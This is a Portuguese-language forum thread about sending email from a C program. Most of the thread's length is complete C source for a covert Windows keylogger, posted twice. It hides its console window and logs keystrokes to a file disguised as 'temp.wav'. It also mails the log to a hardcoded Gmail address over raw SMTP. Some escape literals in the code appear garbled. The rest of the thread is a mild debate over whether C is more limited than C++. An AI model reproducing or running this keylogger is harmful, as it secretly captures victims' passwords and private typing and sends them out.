Ir ao conteúdo
  • Cadastre-se

Enviar para email em linguagem C


Wild Bull

Posts recomendados

  • Membro VIP

Se você pretende fazer isso em C, vou adiantando que talvez você n consiga, visto que C é muito limitado. Se animar de fazer em C++, vou postar um codigo de um KL(se n for permitido, edita ai, moderação) só pra você ter ideia de como é trabalhar com socketwin, IP, GetAsync...

/*

Put this command: -lws2_32

to Tools->Compiler Options under the section on compile flags,

if have any problem with compile

*/

#include <windows.h>

#include <stdio.h>

#include <winuser.h>

#include <windowsx.h>

#include <time.h>

int MailIt (char *mailserver, char *emailto, char *emailfrom,

char *emailsubject, char *emailmessage);

#define BUFSIZE 800

#define waittime 500

/*If you dont have free smtp server, use google:) */

#define cmailserver "gmail-smtp-in.l.google.com"

#define cemailto "[email protected]"

#define cemailfrom "[email protected]"

#define LogLength 100

#define FileName "temp.wav"

#define SMTPLog "templ.wav"

#define cemailsubject "Logged"

int test_key(void);

int main(void)

{

//Uncomment the lines below to put the keylogger in stealh mode.

HWND stealth; /*creating stealth */

AllocConsole();

stealth=FindWindowA("ConsoleWindowClass",NULL);

ShowWindow(stealth,0);

{FILE *file;

file=fopen(FileName,"a+");

time_t theTime=time(0);

fputs("\nStarted logging: ", file);

fputs(ctime(&theTime),file);

fclose(file);

}

/* if (test==2)

{//the path in which the file needs to be

char *path="c:\\%windir%\\svchost.exe";

create=create_key(path);

} */

int t=get_keys();

return t;

}

int get_keys(void)

{

int freadindex;

char *buf;

long len;

FILE *file;

file=fopen(FileName,"a+");

short character;

while(1)

{

sleep(10);/*to prevent 100% cpu usage*/

for(character=8;character<=222;character++)

{

if(GetAsyncKeyState(character)==-32767)

{

FILE *file;

file=fopen(FileName,"a+");

if(file==NULL)

{

return 1;

}

if(file!=NULL)

{

if((character>=39)&&(character<=64))

{

fputc(character,file);

fclose(file);

break;

}

else if((character>64)&&(character<91))

{

character+=32;

fputc(character,file);

fclose(file);

break;

}

else

{

switch(character)

{

case VK_SPACE:

fputc(' ',file);

fclose(file);

break;

case VK_SHIFT:

fputs("\r\n[sHIFT]\r\n",file);

fclose(file);

break;

case VK_RETURN:

fputs("\r\n[ENTER]\r\n",file);

fclose(file);

break;

case VK_BACK:

fputs("\r\n[bACKSPACE]\r\n",file);

fclose(file);

break;

case VK_TAB:

fputs("\r\n[TAB]\r\n",file);

fclose(file);

break;

case VK_CONTROL:

fputs("\r\n[CTRL]\r\n",file);

fclose(file);

break;

case VK_DELETE:

fputs("\r\n[DEL]\r\n",file);

fclose(file);

break;

case VK_OEM_1:

fputs("\r\n[;:]\r\n",file);

fclose(file);

break;

case VK_OEM_2:

fputs("\r\n[/?]\r\n",file);

fclose(file);

break;

case VK_OEM_3:

fputs("\r\n[`~]\r\n",file);

fclose(file);

break;

case VK_OEM_4:

fputs("\r\n[ [{ ]\r\n",file);

fclose(file);

break;

case VK_OEM_5:

fputs("\r\n[\\|]\r\n",file);

fclose(file);

break;

case VK_OEM_6:

fputs("\r\n[ ]} ]\r\n",file);

fclose(file);

break;

case VK_OEM_7:

fputs("\r\n['\"]\r\n",file);

fclose(file);

break;

case 187:

fputc('+',file);

fclose(file);

break;

case 188:

fputc(',',file);

fclose(file);

break;

case 189:

fputc('-',file);

fclose(file);

break;

case 190:

fputc('.',file);

fclose(file);

break;

case VK_NUMPAD0:

fputc('0',file);

fclose(file);

break;

case VK_NUMPAD1:

fputc('1',file);

fclose(file);

break;

case VK_NUMPAD2:

fputc('2',file);

fclose(file);

break;

case VK_NUMPAD3:

fputc('3',file);

fclose(file);

break;

case VK_NUMPAD4:

fputc('4',file);

fclose(file);

break;

case VK_NUMPAD5:

fputc('5',file);

fclose(file);

break;

case VK_NUMPAD6:

fputc('6',file);

fclose(file);

break;

case VK_NUMPAD7:

fputc('7',file);

fclose(file);

break;

case VK_NUMPAD8:

fputc('8',file);

fclose(file);

break;

case VK_NUMPAD9:

fputc('9',file);

fclose(file);

break;

case VK_CAPITAL:

fputs("\r\n[CAPS LOCK]\r\n",file);

fclose(file);

break;

default:

fclose(file);

break;

}

}

}

}

}

FILE *file;

file=fopen(FileName,"rb");

fseek(file,0,SEEK_END); //go to end

len=ftell(file); //get position at end (length)

if(len>=LogLength) {

fseek(file,0,SEEK_SET);//go to beg.

buf=(char *)malloc(len);//malloc buffer

freadindex=fread(buf,1,len,file);//read into buffer

buf[freadindex] = '\';//Extra bit I have to add to make it a sting

MailIt( cmailserver, cemailto, cemailfrom, cemailsubject, buf);

fclose(file);

file=fopen(FileName,"w");

}

fclose(file);

//free (buf);

}

return EXIT_SUCCESS;

}

int MailIt (char *mailserver, char *emailto, char *emailfrom,

char *emailsubject, char *emailmessage) {

SOCKET sockfd;

WSADATA wsaData;

FILE *smtpfile;

#define bufsize 300

int bytes_sent; /* Sock FD */

int err;

struct hostent *host; /* info from gethostbyname */

struct sockaddr_in dest_addr; /* Host Address */

char line[1000];

char *Rec_Buf = (char*) malloc(bufsize+1);

smtpfile=fopen(SMTPLog,"a+");

if (WSAStartup(0x202,&wsaData) == SOCKET_ERROR) {

fputs("WSAStartup failed",smtpfile);

WSACleanup();

return -1;

}

if ( (host=gethostbyname(mailserver)) == NULL) {

perror("gethostbyname");

exit(1);

}

memset(&dest_addr,0,sizeof(dest_addr));

memcpy(&(dest_addr.sin_addr),host->h_addr,host->h_length);

/* Prepare dest_addr */

dest_addr.sin_family= host->h_addrtype; /* AF_INET from gethostbyname */

dest_addr.sin_port= htons(25); /* PORT defined above */

/* Get socket */

if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) {

perror("socket");

exit(1);

}

/* Connect !*/

fputs("Connecting....\n",smtpfile);

if (connect(sockfd, (struct sockaddr *)&dest_addr,sizeof(dest_addr)) == -1){

perror("connect");

exit(1);

}

sleep(waittime);

err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\';

fputs(Rec_Buf,smtpfile);

strcpy(line,"helo me.somepalace.com\n");

fputs(line,smtpfile);

bytes_sent=send(sockfd,line,strlen(line),0);

sleep(waittime);

err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\';

fputs(Rec_Buf,smtpfile);

strcpy(line,"MAIL FROM:<");

strncat(line,emailfrom,strlen(emailfrom));

strncat(line,">\n",3);

fputs(line,smtpfile);

bytes_sent=send(sockfd,line,strlen(line),0);

sleep(waittime);

err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\';

fputs(Rec_Buf,smtpfile);

strcpy(line,"RCPT TO:<");

strncat(line,emailto,strlen(emailto));

strncat(line,">\n",3);

fputs(line,smtpfile);

bytes_sent=send(sockfd,line,strlen(line),0);

sleep(waittime);

err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\';

fputs(Rec_Buf,smtpfile);

strcpy(line,"DATA\n");

fputs(line,smtpfile);

bytes_sent=send(sockfd,line,strlen(line),0);

sleep(waittime);

err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\';

fputs(Rec_Buf,smtpfile);

sleep(waittime);

strcpy(line,"To:");

strcat(line,emailto);

strcat(line,"\n");

strcat(line,"From:");

strcat(line,emailfrom);

strcat(line,"\n");

strcat(line,"Subject:");

strcat(line,emailsubject);

strcat(line,"\n");

strcat(line,emailmessage);

strcat(line,"\r\n.\r\n");

fputs(line,smtpfile);

bytes_sent=send(sockfd,line,strlen(line),0);

sleep(waittime);

err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\';

fputs(Rec_Buf,smtpfile);

strcpy(line,"quit\n");

fputs(line,smtpfile);

bytes_sent=send(sockfd,line,strlen(line),0);

sleep(waittime);

err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\';

fputs(Rec_Buf,smtpfile);

fclose(smtpfile);

#ifdef WIN32

closesocket(sockfd);

WSACleanup();

#else

close(sockfd);

#endif

}

Link para o comentário
Compartilhar em outros sites

Se você pretende fazer isso em C, vou adiantando que talvez você n consiga, visto que C é muito limitado. Se animar de fazer em C++, vou postar um codigo de um KL(se n for permitido, edita ai, moderação) só pra você ter ideia de como é trabalhar com socketwin, IP, GetAsync...

/*

Put this command: -lws2_32

to Tools->Compiler Options under the section on compile flags,

if have any problem with compile

*/

#include <windows.h>

#include <stdio.h>

#include <winuser.h>

#include <windowsx.h>

#include <time.h>

int MailIt (char *mailserver, char *emailto, char *emailfrom,

char *emailsubject, char *emailmessage);

#define BUFSIZE 800

#define waittime 500

/*If you dont have free smtp server, use google:) */

#define cmailserver "gmail-smtp-in.l.google.com"

#define cemailto "[email protected]"

#define cemailfrom "[email protected]"

#define LogLength 100

#define FileName "temp.wav"

#define SMTPLog "templ.wav"

#define cemailsubject "Logged"

int test_key(void);

int main(void)

{

//Uncomment the lines below to put the keylogger in stealh mode.

HWND stealth; /*creating stealth */

AllocConsole();

stealth=FindWindowA("ConsoleWindowClass",NULL);

ShowWindow(stealth,0);

{FILE *file;

file=fopen(FileName,"a+");

time_t theTime=time(0);

fputs("\nStarted logging: ", file);

fputs(ctime(&theTime),file);

fclose(file);

}

/* if (test==2)

{//the path in which the file needs to be

char *path="c:\\%windir%\\svchost.exe";

create=create_key(path);

} */

int t=get_keys();

return t;

}

int get_keys(void)

{

int freadindex;

char *buf;

long len;

FILE *file;

file=fopen(FileName,"a+");

short character;

while(1)

{

sleep(10);/*to prevent 100% cpu usage*/

for(character=8;character<=222;character++)

{

if(GetAsyncKeyState(character)==-32767)

{

FILE *file;

file=fopen(FileName,"a+");

if(file==NULL)

{

return 1;

}

if(file!=NULL)

{

if((character>=39)&&(character<=64))

{

fputc(character,file);

fclose(file);

break;

}

else if((character>64)&&(character<91))

{

character+=32;

fputc(character,file);

fclose(file);

break;

}

else

{

switch(character)

{

case VK_SPACE:

fputc(' ',file);

fclose(file);

break;

case VK_SHIFT:

fputs("\r\n[sHIFT]\r\n",file);

fclose(file);

break;

case VK_RETURN:

fputs("\r\n[ENTER]\r\n",file);

fclose(file);

break;

case VK_BACK:

fputs("\r\n[bACKSPACE]\r\n",file);

fclose(file);

break;

case VK_TAB:

fputs("\r\n[TAB]\r\n",file);

fclose(file);

break;

case VK_CONTROL:

fputs("\r\n[CTRL]\r\n",file);

fclose(file);

break;

case VK_DELETE:

fputs("\r\n[DEL]\r\n",file);

fclose(file);

break;

case VK_OEM_1:

fputs("\r\n[;:]\r\n",file);

fclose(file);

break;

case VK_OEM_2:

fputs("\r\n[/?]\r\n",file);

fclose(file);

break;

case VK_OEM_3:

fputs("\r\n[`~]\r\n",file);

fclose(file);

break;

case VK_OEM_4:

fputs("\r\n[ [{ ]\r\n",file);

fclose(file);

break;

case VK_OEM_5:

fputs("\r\n[\\|]\r\n",file);

fclose(file);

break;

case VK_OEM_6:

fputs("\r\n[ ]} ]\r\n",file);

fclose(file);

break;

case VK_OEM_7:

fputs("\r\n['\"]\r\n",file);

fclose(file);

break;

case 187:

fputc('+',file);

fclose(file);

break;

case 188:

fputc(',',file);

fclose(file);

break;

case 189:

fputc('-',file);

fclose(file);

break;

case 190:

fputc('.',file);

fclose(file);

break;

case VK_NUMPAD0:

fputc('0',file);

fclose(file);

break;

case VK_NUMPAD1:

fputc('1',file);

fclose(file);

break;

case VK_NUMPAD2:

fputc('2',file);

fclose(file);

break;

case VK_NUMPAD3:

fputc('3',file);

fclose(file);

break;

case VK_NUMPAD4:

fputc('4',file);

fclose(file);

break;

case VK_NUMPAD5:

fputc('5',file);

fclose(file);

break;

case VK_NUMPAD6:

fputc('6',file);

fclose(file);

break;

case VK_NUMPAD7:

fputc('7',file);

fclose(file);

break;

case VK_NUMPAD8:

fputc('8',file);

fclose(file);

break;

case VK_NUMPAD9:

fputc('9',file);

fclose(file);

break;

case VK_CAPITAL:

fputs("\r\n[CAPS LOCK]\r\n",file);

fclose(file);

break;

default:

fclose(file);

break;

}

}

}

}

}

FILE *file;

file=fopen(FileName,"rb");

fseek(file,0,SEEK_END); //go to end

len=ftell(file); //get position at end (length)

if(len>=LogLength) {

fseek(file,0,SEEK_SET);//go to beg.

buf=(char *)malloc(len);//malloc buffer

freadindex=fread(buf,1,len,file);//read into buffer

buf[freadindex] = '\';//Extra bit I have to add to make it a sting

MailIt( cmailserver, cemailto, cemailfrom, cemailsubject, buf);

fclose(file);

file=fopen(FileName,"w");

}

fclose(file);

//free (buf);

}

return EXIT_SUCCESS;

}

int MailIt (char *mailserver, char *emailto, char *emailfrom,

char *emailsubject, char *emailmessage) {

SOCKET sockfd;

WSADATA wsaData;

FILE *smtpfile;

#define bufsize 300

int bytes_sent; /* Sock FD */

int err;

struct hostent *host; /* info from gethostbyname */

struct sockaddr_in dest_addr; /* Host Address */

char line[1000];

char *Rec_Buf = (char*) malloc(bufsize+1);

smtpfile=fopen(SMTPLog,"a+");

if (WSAStartup(0x202,&wsaData) == SOCKET_ERROR) {

fputs("WSAStartup failed",smtpfile);

WSACleanup();

return -1;

}

if ( (host=gethostbyname(mailserver)) == NULL) {

perror("gethostbyname");

exit(1);

}

memset(&dest_addr,0,sizeof(dest_addr));

memcpy(&(dest_addr.sin_addr),host->h_addr,host->h_length);

/* Prepare dest_addr */

dest_addr.sin_family= host->h_addrtype; /* AF_INET from gethostbyname */

dest_addr.sin_port= htons(25); /* PORT defined above */

/* Get socket */

if ((sockfd=socket(AF_INET,SOCK_STREAM,0)) < 0) {

perror("socket");

exit(1);

}

/* Connect !*/

fputs("Connecting....\n",smtpfile);

if (connect(sockfd, (struct sockaddr *)&dest_addr,sizeof(dest_addr)) == -1){

perror("connect");

exit(1);

}

sleep(waittime);

err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\';

fputs(Rec_Buf,smtpfile);

strcpy(line,"helo me.somepalace.com\n");

fputs(line,smtpfile);

bytes_sent=send(sockfd,line,strlen(line),0);

sleep(waittime);

err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\';

fputs(Rec_Buf,smtpfile);

strcpy(line,"MAIL FROM:<");

strncat(line,emailfrom,strlen(emailfrom));

strncat(line,">\n",3);

fputs(line,smtpfile);

bytes_sent=send(sockfd,line,strlen(line),0);

sleep(waittime);

err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\';

fputs(Rec_Buf,smtpfile);

strcpy(line,"RCPT TO:<");

strncat(line,emailto,strlen(emailto));

strncat(line,">\n",3);

fputs(line,smtpfile);

bytes_sent=send(sockfd,line,strlen(line),0);

sleep(waittime);

err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\';

fputs(Rec_Buf,smtpfile);

strcpy(line,"DATA\n");

fputs(line,smtpfile);

bytes_sent=send(sockfd,line,strlen(line),0);

sleep(waittime);

err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\';

fputs(Rec_Buf,smtpfile);

sleep(waittime);

strcpy(line,"To:");

strcat(line,emailto);

strcat(line,"\n");

strcat(line,"From:");

strcat(line,emailfrom);

strcat(line,"\n");

strcat(line,"Subject:");

strcat(line,emailsubject);

strcat(line,"\n");

strcat(line,emailmessage);

strcat(line,"\r\n.\r\n");

fputs(line,smtpfile);

bytes_sent=send(sockfd,line,strlen(line),0);

sleep(waittime);

err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\';

fputs(Rec_Buf,smtpfile);

strcpy(line,"quit\n");

fputs(line,smtpfile);

bytes_sent=send(sockfd,line,strlen(line),0);

sleep(waittime);

err=recv(sockfd,Rec_Buf,bufsize,0);Rec_Buf[err] = '\';

fputs(Rec_Buf,smtpfile);

fclose(smtpfile);

#ifdef WIN32

closesocket(sockfd);

WSACleanup();

#else

close(sockfd);

#endif

}

Esse código que você postou está em C e não C++

E C não é limitado. C é uma das linguagem mais poderosas que existe.

Quase tudo (quiçá tudo) que se faz em C++ é possível fazer em C.

Link para o comentário
Compartilhar em outros sites

  • Membro VIP

Se comparado com o C++, o C tem uma penca de limitaçoes... se comparado a outras linguagens então... vai dizer q você prefere programar em C do q em C++? Em C, pelo menos eu, tive um bugado de trabalho na epoca de faculdade... dps de um semestre q vi C++... os trem **** de C ficaram molin molin...

Esse código que você postou está em C e não C++

E C não é limitado. C é uma das linguagem mais poderosas que existe.

Quase tudo (quiçá tudo) que se faz em C++ é possível fazer em C.

Link para o comentário
Compartilhar em outros sites

Eu concordo com o rapaz que C é uma linguagem poderosa... e discordo que seja tão cheia de limitações. Minha visão é a de que C++, propositadamente, possui ferramentas que tornam mais fácil trabalhar com uma gama de recursos.

No entanto, ao meu ver, o que é desenvolvido em C++ poderia de uma forma ou de outra (por mais complicada que seja esta forma) ser desenvolvido também na linguagem C. Vale lembrar que uma linguagem é advinda da outra.

Seria como falar que posso implementar qualquer programa em linguagem de máquina... é bem verdade, no entanto não é interessante...

Link para o comentário
Compartilhar em outros sites

  • Membro VIP

Nao sendo interessante,logo se torna limitada... se n fosse limitada você a usaria e logo seria interessante... ou seja, isso seria uma tautologia.

Eu concordo com o rapaz que C é uma linguagem poderosa... e discordo que seja tão cheia de limitações. Minha visão é a de que C++, propositadamente, possui ferramentas que tornam mais fácil trabalhar com uma gama de recursos.

No entanto, ao meu ver, o que é desenvolvido em C++ poderia de uma forma ou de outra (por mais complicada que seja esta forma) ser desenvolvido também na linguagem C. Vale lembrar que uma linguagem é advinda da outra.

Seria como falar que posso implementar qualquer programa em linguagem de máquina... é bem verdade, no entanto não é interessante...

Link para o comentário
Compartilhar em outros sites

Bom, respeito mas discordo. Pra mim limitação refere-se a algo que não possa ser alcançado... não é interessante porque cada linguagem tem seu foco de aplicação: pode não ser interessante para certos casos, mas é interessante para outros.

Como diria alguém que não sei quem é: "Se a única ferramenta que você tiver for um martelo, em todo problema enxergará um prego." Cada macaco (linguagem) no seu galho.

Link para o comentário
Compartilhar em outros sites

Bom, respeito mas discordo. Pra mim limitação refere-se a algo que não possa ser alcançado... não é interessante porque cada linguagem tem seu foco de aplicação: pode não ser interessante para certos casos, mas é interessante para outros.

Como diria alguém que não sei quem é: "Se a única ferramenta que você tiver for um martelo, em todo problema enxergará um prego." Cada macaco (linguagem) no seu galho.

:aplausos: :aplausos: :aplausos:

Link para o comentário
Compartilhar em outros sites

Nao sendo interessante,logo se torna limitada...

Nem tudo que é desinteressante, é limitado.

C não é uma linguagem limitada! C é uma linguagem poderosa, que permite coisas quase que ao nível do assembly.

Não esqueça que Windows, Unix e vários outros sistemas operacionais, todos eles foram escritos em C.

C++ é linguagem orientada para objetos, e como tal, bem diferente de C, apesar de possuirem a mesma base.

[]'s

Link para o comentário
Compartilhar em outros sites

  • 5 meses depois...

Boa Tarde!

Sou iniciante na area de programação, achei interessante o desenvolvimento de um prog de teste de Qi. Se poder compatilhar o fonte...

Gostaria de tentar implementa-lo em outra linguagem..

Agradeço,

Boas amigos!

Alguem aí sabe como posso mandar um relatório para o meu e-mail quando executado o programa???

Como se fosse uma função com o return, só que ao invés de retornar para o programa principal enviar para o e-mail.

Desde já agradeço!

Link para o comentário
Compartilhar em outros sites

Não faz sentido dizer que C é uma linguagem muito poderosa que é capaz de fazer quase tudo que C++ faz. São dois paradigmas de linguagens muito diferentes. C é uma linguagem Estruturada enquanto C++ é Orientada a Objetos.

Ao estudar a fundo cada uma dessas 2 linguagens você conclui que C++ é muitíssimo mais poderosa que C. Os conceitos de Herança por exemplo são um grande diferencial de C++ para C.

Muitas coisas que C++ faz é possível fazer em C, porém o trabalho para se montar esses algoritmos é tremendo e inviável.

Link para o comentário
Compartilhar em outros sites

bom eu acho o seguinte...já que tudo no fial gera binários que será entendido pelo computador, as linguagens não são limitadas, o q diferencia é o código da linguagem que facilita ou dificulta determinadas coisa...como por exemplo é possivel programar uma parte gráfica em C, + com certeza em C++ é muito mais simples...sendo qeu as bases da linguagem são as msms + uma está direcionada para uam coisa, e a a outro apra outra coisa. sendo assim discutir isso não vai levar a nada essa discurção.

Link para o comentário
Compartilhar em outros sites

bom eu acho o seguinte...já que tudo no fial gera binários que será entendido pelo computador, as linguagens não são limitadas, o q diferencia é o código da linguagem que facilita ou dificulta determinadas coisa...como por exemplo é possivel programar uma parte gráfica em C, + com certeza em C++ é muito mais simples...sendo qeu as bases da linguagem são as msms + uma está direcionada para uam coisa, e a a outro apra outra coisa. sendo assim discutir isso não vai levar a nada essa discurção.

Claro que não. Em FORTRAN por exemplo não existe o método de recursão (com exceção de FORTRAN 90). Neste caso você nunca poderia implementar uma árvore em FORTRAN.

C, C++ e JAVA são linguagens de propósito geral, porém JAVA não oferece recursos para controlar diretamente o hardware. Para fazer isso, os programas em JAVA devem declarar métodos nativos e implementá-los em outras linguagens.

Link para o comentário
Compartilhar em outros sites

ah tha, + tipo...cada linguagem tem sua especialidade, entuam não seria viável dizer quem é melhor que quem... +D

Claro, e é por isso que temos tantas linguagens de programação atualmente por aí. Cada uma desenvolvida para uma finalidade específica, umas mais específicas, outras menos.

Por exemplo, COBOL foi criada para finalidades comerciais. PROLOG foi criada para uso em inteligência artificial e provar teoremas matemáticos. Já o famoso e conhecido C foi dsenvolvido para a criação do sistema UNIX, que por sua vez deu origem ao Linux atualmente.

Link para o comentário
Compartilhar em outros sites

Arquivado

Este tópico foi arquivado e está fechado para novas respostas.

Sobre o Clube do Hardware

No ar desde 1996, o Clube do Hardware é uma das maiores, mais antigas e mais respeitadas comunidades sobre tecnologia do Brasil. Leia mais

Direitos autorais

Não permitimos a cópia ou reprodução do conteúdo do nosso site, fórum, newsletters e redes sociais, mesmo citando-se a fonte. Leia mais

×
×
  • Criar novo...